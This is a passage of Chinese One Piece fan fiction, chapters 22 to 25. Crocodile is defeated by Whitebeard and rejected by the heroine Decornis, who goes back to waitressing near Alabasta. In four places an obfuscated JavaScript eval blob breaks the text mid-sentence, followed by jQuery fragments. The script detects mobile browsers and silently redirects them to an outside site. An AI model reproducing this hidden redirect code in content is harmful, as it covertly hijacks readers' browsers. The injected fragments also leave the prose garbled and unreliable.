他的确用真假参半的话语带她出海,又以模棱两可的行径将她排除在计划之外。他下意识不想让她直接接触那些,是害怕在她见识到现在的自己后,会厌弃他。
但他没意识到的是,这些行为带来的神秘感,已经成了隔绝两人的迷雾。
克洛克达尔靠在船舷边,甲板上只留他一人,没人来清理那些血迹和碎肉,没人敢上前。
当电话虫“咔戛”一声被挂断,他才意识到自己已经沉默了太久。
他隐约感觉到有什么在远去了,抬头一看,几只海鸥正向着天际飞翔,越来越远。
但他不知道说些什么来挽留。
22.第 22 章
黛可妮斯这几天的睡眠质量极差。
在床铺上来回翻滚,身体是疲惫的,眼睛是干涩的,合上眼皮却得不到丝毫睡意。大脑在清醒地叫嚣,血液在冲撞着迸流,她的耳朵嗡鸣作响,恶心感不断涌上胸口。
无法入眠。
多如牛毛的各种思绪交织混杂,她感觉自己已经陷入了固执发疯的深渊,她在脑海里一遍遍回想着各种人和各种事,各种表情各种话语,直到神经濒临崩溃。
她不知道自己在为什么烦恼,却又莫名感到这一切的根源若隐若现。即便以最放松的姿势躺在床上,她还是感到腰背酸痛,身体无力难受,可精神上又活跃异常。
她在这片大海上顽强挣扎,已经活过了二十余年。她算不上擅长与人交流,拥有的人际关系也寥寥无几,嘴上再怎么说得不在意,心里还是会时时惦记。
她很少会对自己的人际关系进行定义。譬如她与克洛克达尔,她不认为彼此是简单的朋友关系,也绝不会是由年龄决定的姐弟关系,他们之间的联系复杂而深刻,她不会选择什么词语去形容。
但是现在,这段关系给她一种预感。
一种会改变的预感。她猜测,自己不会喜欢这种改变。
手臂支撑身体,黛可妮斯缓缓地从床上坐起来,直到眩晕感从眼前散去,才扶墙站起。
时钟的指针指向凌晨四点钟。
温度有些低,她随手将乱发拢在脑后,披上外套走出房间。
莫桑比克号仍在享受睡神的恩典,走廊里鼾声此起彼伏。她刻意放轻了脚步,但地板仍然不可避免地发出吱嘎声。
好在那些家伙睡得比尸体还沉。
来到甲板之上,凌晨四点钟的夜色算不上浓郁,海域上还有一层朦胧的薄雾。
这里却还有另一位清醒的人。
比斯塔收刀入鞘,手背抹去额头的热汗,表情略有惊讶:“黛可小姐?”
看上去他正在晨练,面上带着健康的血色,两袖被挽至上臂,露出了发达而分明的肌肉。
海风一吹,黛可妮斯只觉得冷,便将领口拉紧了:“你好……先生。”她其实还没记清这位西洋剑士兼新任识字老师的姓名,常常和他人的名字搞混。
“是有什么事情吗?”
黛可妮斯沉默着摇头,不太想打扰这位的健康生活,独自坐在船舷边上,望着海面与天空的边界线。
雾气正慢吞吞地散去,天际线也逐渐变得清晰,但黛可妮斯却有种一头栽进深海淹死自己的冲动。
不,她不觉得自己想要轻生。她只是感到恶心,烦恼,疲倦,暴躁,无力,忧愁,怨恨。
大概是因为失眠吧,她想。
“你看上去脸色不太好。”
她的新任识字老师已经重新穿好了因练习而敞开前襟的衬衫,两把剑鞘被别在身侧,看上去很听话。
他向她迈出了一步,距离刚刚好,不至于太过亲密,但若是她有从船舷边滑落的迹象,他又能第一时间抓住她。
他问:“睡不着,要喝牛奶吗?船上还有一些储备。”
牛奶。黛可妮斯歪歪地坐着,想起了自己第一次喝到牛奶的经历。
顾不上后背被石块砸伤的淤青,她的脑袋上还挂着臭鸡蛋的蛋液,小心翼翼地拉开衣摆,内侧的布料上,缝着一枚陶罐模样的花样布片。
她指尖光亮一闪,那布片就化作一瓶淡黄色的陶罐,出现在她的手里。
她忍不住咽下一口唾沫。
充当诱饵的克洛克达尔终于甩掉了愤怒的蛋糕店老板,从窗户外翻进来:“都拿到了些什么?”
“我听说,”黛可妮斯小心地将那只陶罐展示给他看,“听说这是牛奶,甜的。”她将鼻尖凑上去,“闻起来有股香味……”
“只是一瓶牛奶?”
克洛克达尔哭笑不得,上上下下打量她好几遍,才遗憾地确认到,她的确没有偷到别的东西。
但是看到她脸上的表情,克洛克达尔又生生咽下了嘴边的讽刺话:“……你没喝过吗?”
黛可妮斯顾不上搭理他,已经将嘴唇凑上去。陶罐里的液体是乳白色的,凉凉的,给舌尖留下了别样的香甜味道。
她颇为不舍地一小口一小口地抿着,慢慢回味,但那只陶罐的容量到底还是有限,快见底了,她才想起来旁边还有个小伙伴。
抬起头,还没等她说什么,克洛克达尔便摆摆手:“我不爱喝那种东西。”
黛可妮斯狐疑地瞅着他,并不相信这世界上有人能抵挡如此美味的诱惑,但她从不会对克洛克达尔有什么客气和谦让,于是开开心心抱着陶罐,甚至喝完了还想用水涮一下。
但是被克洛克达尔一脸嫌弃地阻止了。
他当时好像说了些什么,是什么呢?黛可妮斯没有放在心上,那牛奶的味道却一直让她回味无穷。
比斯塔端给她一杯热气腾腾的牛奶,熟悉的香甜味道似乎唤醒了她,她傻愣愣地接过来,双手捧着。
“还在担心你的弟弟吗?不要太过着急,注意自己的身体啊。”
身边人的话语仿佛远在天边,黛可妮斯慢吞吞从船舷上跳下来,一步步走到桅杆旁,将后背靠上去。
天色在慢慢亮起来,已经到了鸟类起床的时间,不知道哪里的海鸟,一时间都七嘴八舌地吵起来,叽叽喳喳个不停。
比斯塔见女子对自己的话无动于衷,也不生气,看着海
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14200202|148614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上雾气散了,手搭凉棚远望:“下一座岛屿,快到了,已经能够看到一点边缘……”
头顶传来送报鸥的叫声,比斯塔抬头招手,让送报鸥落下来,将钱币塞进它脖子上的钱袋,取下一份报纸。
他对黛可妮斯说:“今天的新闻到了,来看看吧。”
自从开始教她认字,比斯塔便会每天将报纸拿给她看,要她多多阅读。
黛可妮斯将牛奶喝了一半,随手放在桌子上,接过报纸浏览。
一场海军本部的会议。政府的一些通知和政策。一些风头正盛的海贼。几个年少有为的海军将领。
有很多词汇她还是不认识,譬如这个新奇的词语「王下七武海」。比斯塔还在一旁给她解释海军那边又开了什么会议,她的视线慢慢向下,然后顿住。
停留在一个熟悉无比的名字上。
「沙·克洛克达尔」
“这倒是个大新闻,”比斯塔摸着下巴,“海军招安了七名海贼,还安了个王下七武海的名头……不过话说回来,这不就是给海军当走狗吗?”
“是吗,我看看都有谁?”有几名船员也醒了,听到消息便也凑过来看,一看便笑:“甚平暂且不论,另外几个蠢货真的能和海军和谐共处?简直是搞笑……”
“喂,先别顾着看报纸了好吧!那边有艘海贼船过来,看着来者不善啊!”有人放下望远镜,站在船头高声喊,“不会是红发那小子又来找茬了吧,可是看着也不像他的船啊……”
“不是吧,一大清早就不让人安生!”
“我还没睡够呢!”
黛可妮斯手指攥紧了报纸,将边角揉的发皱。她眼前还是报纸上铅字印刷的那枚名字,恍恍惚惚抬起头,只见海面上有一艘船正向他们开来。
还有飞驰的炸弹。
那艘船来势汹汹,武装充沛,通体墨绿色,船头被装饰成一只张着血盆大口的鳄鱼。
黛可妮斯能听到两艘船上的海贼们都吵闹不已,统统做出了准备交战的姿态。
那艘船的最前沿,站着一个人。黑色的发丝被梳到脑后,嘴角叼着雪茄,一身皮毛大衣被风鼓起。
竟然是他。果然是他。
那人的视线冷峻至极,嘴角挂着一缕兴奋的喋血笑意,却在视线落到黛可妮斯身上之时,生生僵住。
他嘴角的雪茄掉了,却没有去接,反倒是双手伸进怀里,翻找着什么东西。翻到一张纸片,那人再度抬头,望向黛可妮斯。
他的视线和手掌一样颤抖。
黛可妮斯第一次见到克洛克达尔的脸上,露出那种表情。
灰败地像是一片深秋的枯叶,孤零零落在地上,甚至没有寒风愿意去吹动它。
23.第 23 章
「白胡子」爱德华·纽盖特,无人不知无人不晓他的赫赫威名,纵使无数人都幻想着将这个海上霸主取而代之,但当他们真正站在那个男人面前时,却没有任何一个人还敢口吐豪言。
克洛克达尔本以为自己会和那些弱者不一样,他相信自己会胜利。
他原本是这样坚信的。
所有进攻都被击退,他的船员们个个面露绝望,俨然是一群胆小鬼,甚至还没等对面真正出手,便已丢盔弃甲,人仰马翻地冲上了救生艇。
无所谓,反正他也从没信任过这些没用的东西。就算他们全部弃他而逃,他也有信心……
钻石的光芒坚不可摧,明蓝色的火焰隔绝了他的视线,几道快到看不见踪影的刀光劈下,他的船只应声断裂。
他甚至都没能和那个男人交上手。
他遍体鳞伤,奄奄一息地浮在船体的碎片上。而他的对手、他要挑战的人,安然无恙,站在那高高的白鲸船头之上,平平的视线望着他,就像看着水中的一截浮木。
还有他的那个人,想要永远相伴的那名女性,就站在他的对手身边,以一种陌生而疏离的眼神,告诉他,他已经输了。
克洛克达尔的手指死死扣着木板上的缝隙,后槽牙紧紧咬合在一起,发出咯吱咯吱的声音。鲜血从他的额头一路滑到腮边,终于依依不舍地掉落,摔出一朵小小的血花。
他能听到头顶上有人在悉悉索索地讨论着什么。是在嘲笑他的失败吗?他的弱小?他的不自量力?
从始至终,他的对手甚至连一根指头都没动过,更别说那传中的「震震果实」能力……他连那家伙的部下都无法击败,他自以为已经做好了充足的准备,他以为自己不会在乎那些离心的船员……
他听见一个女子在说话,是那个他以为不会在此地出现的人。随后那只燃烧着明蓝色火焰的凤凰落下来,坚硬的爪子抓住了他的肩膀,将他带到空中。
蓝火凤凰将他放在了莫桑比克号的甲板上,他勉强抬起眼,面前是一双巨大的靴子,他就这样趴在白胡子的脚下。
他感到气血一阵翻涌。
是黛可的请求,他刚才听到了。她让马尔高将自己带上来。
他剧烈地喘息着,大脑一时间难以理解自己的处境。黛可想要做什么?白胡子又想怎样?难道他所遭受的羞辱还不够吗?
但不管怎么说,现在是最好的机会——他的对手近在咫尺,触手可得,没有那些烦人的家伙阻挠,他能够一招制敌——他攥紧了手中的匕首,从破烂不堪的胸腔中发出一声怒吼,一扑而起。
在那瞬间,似乎外界所有声音都消失了,他的耳畔只有嗡鸣声作响,眼前的一切都变得缓慢而模糊,他看到黛可惊讶地张开嘴巴,仿佛在喊着什么。
一道寒光闪过,鲜艳的血液溅在眼眶上,直到他摔倒在地,才感受到面颊上的剧痛。
他还以为自己被削掉了半个头颅。
白胡子摇摇头,振臂一挥将长刀收回身侧,转身离开了。
而他只能在嘴边冒着血泡,像个将死的牲畜,无能为力地躺倒在地上,毫无能力,毫无尊严。
他是个失败者。
血色漫上视野,他连眼睛都难以睁开,脑袋贴在光滑的甲板上,他能感受到所有人的脚步声都在逐渐远离,除了一个人的。
那脚步很轻,也很熟悉。
一块还带着女性体温的手帕落在他的脸上,擦去了他上半张脸的血污,于是他得以见到黛可的眼睛。
碧绿色的眼眸,色彩和多年前初见时没有分毫改变,但其中的情绪却已经全然不同。
为什么要用这种眼神看他?
她的指腹很柔软,银色的光芒亮起,她捏着一根银光做的细针,从他脸颊正中央的横贯伤口的边缘开始,左右穿梭。
他感觉到自己的皮肉被拉紧了,伤口正被缝合。他瞪大双眼望着她,嘴唇一阵哆嗦,拼尽最后一丝力气,抓住她的手。
“……我需要你,黛可。”
他感到唇舌不听使唤。
但他还是哆哆嗦嗦地,唯恐眼前的人会消失一般,急促而恳切地,祈求着。
“我需要你,我需要你……黛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14210050|148614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可,如果没有你……他们只会……”
他的话语戛然而止。
她抿起的嘴唇,微蹙的眉头。她的神情让他感到自己正在下坠,周身越来越冷,他仿佛离头顶的阳光越来越远。
她的声音听上去那么不真实。
“你太让我失望了,克洛克达尔。”
不。
“别让我再见到你。”
不。
他甚至连张合肺部的力气都用尽,仍是倔头倔脑地抓着她的手。他知道自己不能松手,他想将她再拉近一些,别让她离自己那么远。
他感到对方的手指正在一寸寸抽离。
伤口已经被缝合,他知道自己不会死在这里,但是他不知道还能不能留在她的身边。
她完全将手抽走了,甚至用他的衣摆擦净了掌心的血污。
他没能抓住她的裤脚,她似乎站起来了,似乎转过身去,越走越远。
她好像走了。
走了吗?
一个男人单手插兜走向他,摇身一扭化作燃烧着蓝色火焰的凤凰,强而有力的爪子再度抓起他的肩膀,就像刚才将他拉上来那样,把他扔到了鳄鱼船只的残骸之上。
他不甘心地抬起头。
莫桑比克号架起了吊杆,正将一艘体型迷你的黑色帆船放下水。那艘小船是他购买的,让重要的人为之命名,又亲手送了出去。
黑隼号。
他看到那个重要的人站在黑隼号船头,向他的对手们招手告别,然后飞速驶离了。
没有给他施舍任何一个眼神。
克洛克达尔挣扎着想爬起来,他想高声呼唤她的名字,一张口却从咽喉深处喷出一口血沫。
他佝偻着后背,止不住地咳嗽。
莫桑比克号也开走了,他们不会对战败后还伺机偷袭的卑鄙者抱有什么同情心。
克洛克达尔倒在自己船只的残骸之上,止不住地喘息,胸腔中发出破风箱般呼哧呼哧的声音。
现在,这片海域上只剩他自己了。
一个失败者。一个被抛弃的人。
24.第 24 章
黛可妮斯恭恭敬敬地向白胡子海贼团进行了告别,这段时间的确是受到了不少照顾,也给他们添了不少麻烦。白胡子老爹倒是对她的谢意毫不在意,一挥手“这点小事不用放在心上”,就继续大口喝酒了。
他们帮忙将黑隼号放下水的时候,比斯塔一副有话要说的样子,犹豫了很久,才低声对她说:“……你的弟弟,那样的伤势没关系吗?”
黛可妮斯不免莞尔,明明几分钟前还是敌对的家伙,现在却开始担心他了。
“没关系,我已经缝合了他的伤口,他的生命力又特别顽强,甚至到了让人恶心的程度——哦,其实他死了也没关系的,我完全不在意啦。”
比斯塔默然。小黛可,你这完全不像是不在意的态度呢。
“怎么这么快就准备离开了?不打算在船上多待一段时间吗,还是说你有其他事情要做?”
黛可妮斯耸耸肩:“倒没有什么特别的事情……真要说的话,其实是因为那些家伙,”她一伸手指向旁边依依不舍的家伙们,“一直求婚什么的,真的很烦人啊。”
被当面嫌弃的船员们:……好无情,呜呜。
走进黑隼号的驾驶舱,黛可妮斯升起船帆,将速度提升到最高,向莫桑比克号略一挥手算作最后的告别,便一骑绝尘地离开了。
船只在海面上留下一道白色的痕迹,黛可妮斯将头发别在耳后,举着指针浏览海图。
她很清楚地知道身后的海域上还漂浮着一个人,于是她努力将全部注意力都放在海图上,不让自己想起那个人满面鲜血的模样。
但越是想不在意什么,脑子里越全是他的脸。
他为什么要刻意隐瞒自己的海贼身份?更别提他还有个规模不小的海贼团,那艘船的性能看起来似乎也不错……那他为什么还要耗费时间精力去买新船又招揽船员,为什么不用现成的?
还有他又是什么时候和海军勾结在一起的?
黛可妮斯一开始还对自己心中的愤怒感到不解——为什么自己想要弄明白他的一切事情,简直就像个变态——后来她觉得,自己只是不明白他为什么要刻意隐瞒。
对她说谎。
说到底,这些东西又什么值得好隐瞒的?总不可能因为自己说过一句讨厌海贼,他才故意绕这么大一圈子?
不可能,那家伙才不会额外花费这么多精力放在这种无关紧要的事情上。
但是凭他的性格,大概率也不会一五一十地向她说明原因吧,更别说什么道歉……但黛可妮斯还是想要一个道歉之类的解释,毕竟她那么信任他。
虽然不想承认,但是那家伙,已经是自己在这世界上最亲密的人了。知晓自己的全部过去,全部劣迹,全部模样。
这样的人,如果还要对自己耍心机的话,黛可妮斯感觉自己得想个办法干掉他了。
继续驾船向前航行,黛可妮斯打算在天黑之前抵达下一座小岛,正巧遇到一艘同样在海上航行的货船,她连忙拿起话筒,企图联系上对方。
货船的船长是个一脸白色络腮胡的大叔,听到黛可妮斯是独自驾船的时候还吃了一惊,旋即便大笑起来:“小姑娘,离下个岛屿还远着呢!你看地图了吧,那可是个了不起的大国家,阿拉巴斯坦呢!你想抵达那里,还得再开三天三夜!”
黛可妮斯一听不禁发愁,好在大叔下一句就是:“要是担心补给的话,前方刚好开过去一艘餐厅船,你要是加快速度追上去,应该还能赶得上。”
海上餐厅?黛可妮斯一下想到了自己曾经待过的「饱餐一顿」,可是每家海上餐厅几乎都是固定停泊在一片海域,除非要大规模采买,否则不会像普通船只那样在海上航行的。
本来在启航之前,白胡子海贼团是给她的船舱里补充了不少物资的,可是直到今天她厨房冰箱里的食物吃完了,去货舱里补充的时候,才发现这群家伙给她装的全是肉。
肉,全是肉!一箱箱堆放到天花板上的肉!什么鸡肉猪肉牛肉鱼肉都有!唯独没有蔬菜!
不是,你们这些家伙,真的能做到营养均衡吗?
但是在海上航行,不易保存的蔬菜水果本就是稀罕物,价格更是贵得令人咂舌。之前黛可妮斯都是花克洛克达尔的钱,至于现在,她只是个没有任何收入来源的穷光蛋。
搞不好真的要继续回归在餐厅端盘子的生活了,黛可妮斯抹掉一把小眼泪。但更加悲催的是,她现在手中的经费和物资,完全不足以支撑她回到「饱餐一顿」。
总之先往前航行,去那个阿拉巴斯坦碰碰运气吧。
黛可妮斯加快速度,按照络腮胡大叔给出的方向继续行驶。疾驰了一段时间,还真让她看到一艘海上餐厅的旗帜。
但是那旗帜上的标志,怎么这么眼熟……
看到那甲板上熟悉的花臂身影,黛可妮斯连忙揉了揉眼睛,又拿出望远镜仔细观察。
「饱餐一顿」为什么会在这里出现?
一把拿过话筒,打开桅杆上的喇叭:“喂——前面的餐厅!停一下!我追得很累啊混账!说到底为什么你们不停下来好好做生意,反倒是一门心思狂奔啊——”
甲板上的花臂大叔:“我们今天不做生意——别追了——等下,这个声音怎么这么耳熟?”
秃头老板:“话说我是不是出现幻觉了,好像看见小黛可她正驾船狂飙……”
花臂大叔:“开玩笑,小黛可她什么时候会开船了……”
两人傻眼地对视良久。
“诶?!真的是小黛可!?”
等黛可妮斯一跃跳上「饱餐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14244988|148614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一顿」的甲板,先给秃头老板光亮的大脑门上弹了一记爆栗。
淡定地瞅着哀嚎的秃头老板:“好久不见,老秃驴。”
花臂大叔倒是拉着她的胳膊,上上下下打量了好久,松出一口气:“小黛可,你看上去还不错嘛,有没有受苦?我们听说那个青年他其实……咳咳,话说他人呢,你没和他在一起?”
“来份炖菜。”黛可妮斯笑眯眯地向身材魁梧但是性格内向的主厨大人打个招呼,自然而然地坐到吧台前,“那家伙啊,不提也罢,他其实是个海贼啦,我和他产生了一些矛盾,总之就是分开啦。不过反倒是你们,不留在外海做生意,跑到伟大航路干什么?就不怕被海贼船打劫吗?”
花臂大叔咳了一声:“其实在你走了没几天,我们就在报纸上看到了那家伙的事迹,才意识到他其实是个超危险的坏蛋海贼,生怕小黛可你被他诱拐卖掉,所以……”
“胡扯!来到伟大航路当然是为了开拓市场,才不是因为担心这个小恶魔才……”秃头老板哼哼起来,“别以为你很重要啊混账,我才不会在乎你!”
花臂大叔:“他其实超在乎的。”
黛可妮斯:“看出来了。虽然有点恶心,但还是谢谢你担心我,秃驴。”
“居居居居居然还叫我秃驴——”气炸的老板跳起来,愤怒地满地兜圈子,然后又被黛可妮斯弹了个爆栗,老实了,小声啜泣:“太过分了太过分了……”
其实黛可妮斯真没想到,他们是因为担心自己才来到伟大航路,来到这么危险的海域。
为了一个工作过几年的应侍生,能够做到这种地步吗?他们完全联系不上自己,一点消息也得不到,找人无异于大海捞针。就算他们真的能顺利找到自己,可是又怎么能保证从身为七武海的海贼手里抢走人呢。
但他们还是运气爆棚地遇到了自己,并且双方都安然无恙,都还能够开开心心地站在「饱餐一顿」的餐厅里。
要是过去的黛可妮斯,一定不能理解他们的行为,但是对于现在的她而言,只感到鼻子酸酸的。
“真没想到你们能做到这种地步……”嘴硬的话再也说不下去,黛可妮斯不由得梗住了。花臂大叔哈哈一笑,搂住了她的肩膀。
炖菜做好了,主厨将之端到黛可妮斯面前,慢吞吞地擦着手。
“小黛可,想一想你有多久没吃上杰斐逊主厨做的饭了?”花臂大叔笑着将勺子塞进她手里,“我看你都瘦了,这段时间是不是都吃不上饭?”
盘里的炖菜还是她熟悉的味道,主厨还额外给她煮了两个水煮蛋,打破壳咬开,溏心的程度依旧恰到好处。
黛可妮斯抽了一把餐巾,飞快地在脸上抹过,大家都装作没看到。
现在,她知道自己不是独自一人了。
25.第 25 章
重新开启餐厅端盘子的打工生活,一切似乎还和过去一样。
在餐桌之间穿梭,轻巧地接过小费,顺便一脚踢断某客人的咸猪手,再送他一脚直接滚进大海。
刚抄起狼牙棒的花臂大叔,假装什么都没看到的样子,转过身研究菜单。
咸猪手的几个同伙唰得一下全部站起来,然后又整齐划一地被丝线绊倒,最后以五花大绑的方式被捆成肉球。
“我说……”
秃头老板刚开了话头,见黛可妮斯猛地扭过头来,立时吓得哆嗦道:“……他们还没结账。”
但是她已经将这帮家伙都踹下海了。
又亏了钱的秃头老板忍气吞声地缩回脑袋。黛可妮斯的视线扫来,还在看热闹的一众食客立刻埋头吃饭。
今天的黛可妮斯也是个令人望而生畏的女子呢。
但要说有什么不一样了,还是挺多的。
譬如她现在已经能够独自驾船出海,前往阿拉巴斯坦为餐厅补充物资。餐厅在阿拉巴斯坦领海范围之外,再往外不远处便是一连串珊瑚礁度假小岛,所以前来用餐的客人还是比较多的。
虽然国土的大面积都被沙漠戈壁所覆盖,但阿拉巴斯坦绿洲地区的物产却极为丰富,面积只占五分之一的绿洲面积,却养活了全国上下八成多的人口。作为一个历史悠久、人口数量庞大的超级大国,其安保力量更是令人安心,以至于任何海贼,只要想靠近其领海,就必须进行伪装。
黛可妮斯撤下腰间的围裙,一手接过主厨大人的采购清单,快步前往餐厅后方的船舶停靠点,她的黑隼号就在那里。
这半年以来,她凭借一手精妙绝伦的砍价技巧,出色地胜任了采买员这一要职,以至于堪称史上第一守财奴的秃头老板,也对她的成果瞠目结舌。
踏上甲板,拉起操作杆,黑隼号在短暂的启动后,便飞快地驶离餐厅,在一片激起的海浪中,奔向阿拉巴斯坦。
很快海岸边的港口就仅在眼前。港口的小鱼屋房顶上,一个举着望远镜的十五六岁少女注意到黑隼号,立刻跳下来,双手提起裙摆,小步跑到岸边准备迎接黛可妮斯。
少女名为可可,自从黛可妮斯帮她揍跑了骚扰她的男孩,她就彻底成为了黛可妮斯的小跟班。
不过很久以后,黛可妮斯才知道那个经常揪可可辫子的男孩,是因为暗恋可可。
于是她又把男孩揍了一顿,揍得他好几天只能扶着拐杖上厕所。
因为所谓的“喜欢”而去捉弄女孩子,是黛可妮斯绝对不能容忍的。她觉得这种行径既不尊重女孩子,又幼稚而欠扁。
所以她会见一次揍一次。
以至于连地方的治安官都听说了她的事迹:把人捆起来倒吊在墙头,然后抡起大棒槌狠揍。但是说实话,任谁见过黛可妮斯揍人的模样,想必都会过目难忘。
是的,看起来性感又迷人的红色波浪发美女,一双碧色眼眸中波光流转,就在大家猜测这等佳人笑起来又该是何等春色的时候,这位红发佳人却在掌心中吐了两口唾沫,然后高喝一声,还沾着血迹的凶器棒槌就往受害者红肿的屁股上猛揍而去。
期间还会伴随着受害者凄厉的惨叫,以及红发佳人的臭骂声。
少女可可就将这样的人,视作了人生偶像。
年轻的地方治安官,忍无可忍地颁布了命令:不阻拦黛可妮斯的入境,但要求她一旦入境就必须报告给治安官。
黛可妮斯和可可自然对这种毫无威胁的命令置若罔闻。
“你来啦,黛可姐姐——”可可向她挥手,“前天不是刚装了满满一船补给嘛,怎么又回来啦,是过来玩的吗?”
轻轻一跳跃下甲板,黛可妮斯将手中的缆绳系在岸边:“还不是我们的主厨大人,听说最近的椰枣大量上市,就急匆匆地打发我过来采购。我猜他一定又有了想要研制的甜点了。”
她将便当盒交给可可:“主厨大人新研制的菜品,你尝尝——唉,我倒是想过来游玩。来到阿拉巴斯坦都这么久了,我却只能逛逛菜市场买买菜,都怪那个可恶的老秃驴——”
两人都开开心心唠嗑,对急匆匆赶来的治安官一行人视而不见。
“海上餐厅服务员,黛可妮斯!”
年轻的治安官脸都气红了,一路跑过来气息都有点喘:“我早就说过,你想入境必须提前通报吧!如果再不顾规定乱来,我就要请人和你们的餐厅老板谈一谈了!”
“想和那秃驴谈话是吧,你请便,现在先一边去。”黛可妮斯做出了一个驱逐小狗的手势,回治安官一枚嫌弃的眼神,“要说还是狗鼻子灵,大老远闻见我身上的味儿了是吧,早知道我不喷香水了。”
“怪不得有股花香……不对!”治安官脸蛋涨得通红,“我是胡狼果实能力者!不是狗!你给我记清楚啊!”
然而黛可妮斯已经拉着可可,迈开步子朝集市走去。
自觉被戏弄的年轻治安官,努力平复一下呼吸,便快步跟上去,紧绷着嘴角走在她们的前面。
黛可妮斯向左他向左,黛可妮斯向右他向右,黛可妮斯狐疑地瞅着他,他气哼哼地高昂着头。
“你好,自称胡狼的狗先生,”黛可妮斯郑重其事道,“我们还有事要忙,没时间遛狗,你可以不可以哪儿凉快哪儿呆着?”
“你想要如何羞辱我都无所谓,我绝不会被你挑衅!根据命令规定,只要你入境,我们地方官有义务对你的行踪进行全程监督,以防你又想做出什么危害我国国民的行为!”
话是这么说,治安官的脸都快被黑色的毛发所覆盖了,尖尖的耳朵和牙齿若隐若现,仿佛下一秒就要变成黑色的大狗,发出愤怒的嚎叫。
黛可妮斯从背包中掏出一根大棒骨,在手中晃了晃,治安官的视线可疑地飘忽了一下。
黛可妮斯把棒骨往地上一丢:“去吧大狗狗。”
治安官勃然大怒:“你到底想羞辱人到何等地步——”
众侍从齐齐擦汗:早劝过治安官大人不要管这个女人了,这下好了,完全被玩弄于股掌之中嘛!
说实话,黛可妮斯完全没有必要这么针对这位名为加卡的地方治安官,但是谁叫这个家伙是个极度没品位又非常多管闲事的东西,以至于黛可妮斯对他是一点好脾气都没有。
他居然敢说黑隼号很丑!
怎么会有人,胆敢当着船只主人的面,说她的船丑?!
当时还在检修船只的黛可妮斯,立刻就丢下扳手冲出来了。
实则真实情况是,年轻有为刚刚就任地方治安官的加卡,正在他所管辖区的港口巡逻,看见一艘体型迷你全身漆黑的帆船,顺嘴说了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14254103|148614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一句:“好少见的颜色,在这么多浅色帆船中有些奇怪……”
然后一个愤怒的红发疯女人冲到他面前,将他暴打了一顿。众多随从被丝线全部控制住,完全搞不清楚状况的无辜治安官就这样又丢人又伤身地被送进了医院。
虽说之后的加卡弄明白黛可妮斯愤怒的原因后,甚至还试图说服自己“对方可能只是太喜爱自己的船只了这样也情有可原”,但是黛可妮斯的拳头让他说服自己失败了。
然后梁子就结下了。
此时此刻两人还站在集市的路口,针尖对麦芒地互相丢眼刀,而一旁观察许久的可可,开口一句话险些将加卡击倒:
“治安官大人,你该不会是喜欢黛可姐姐吧?”
加卡咳得上气不接下气:“……你你你在胡言乱语什么?!”
“因为啊,之前的德维斯就是这样一直跟着我,总是和我不对付,还想着欺负我。”可可认真道,“谁知道他后面却突然表白了啊,真的很奇怪啊你们男生,喜欢一个人却不想着对她好,反而想方设法惹她生气……”
黛可妮斯:“啊这样吗?听上去好恶心诶。”
众侍从,眼观鼻鼻观心,假装什么也没有听到。
此时的加卡,已经彻底变成了胡狼形态,并气得一蹦三尺高:“简简简直就是血口喷人——”好在他的肌肤已经全被黑色的毛发所覆盖,别人看不到他红透的面庞。
“说实话,”黛可妮斯诚恳道,“你真的还要跟着吗?有点像变态跟踪狂诶。”
自诩一生正直不二的加卡治安官,终于被这句话彻底击败了。
直到黛可妮斯两人带着几大车食材准备离开时,还能望见年轻治安官失去梦想并石化的身影,依旧矗立在集市的路口。
装好货物,踏上回程之路的黛可妮斯心情相当好,她一路上享受着灿烂阳光和凉爽海风,哼着小调握着船舵,心里甚至都在猜测晚上主厨大人又会做什么美味佳肴。
说实话,这半年来主厨大人变着花样做好吃的,她实在是太有口福,连身形都从之前的瘦弱变得丰腴了些。但是减肥这种概念是绝对不会在黛可妮斯脑海中出现的,她从小到大形成的观念就是,体型丰腴等于衣食无忧,等于幸福人生。
所以她真的很爱惜自己的小肚子。
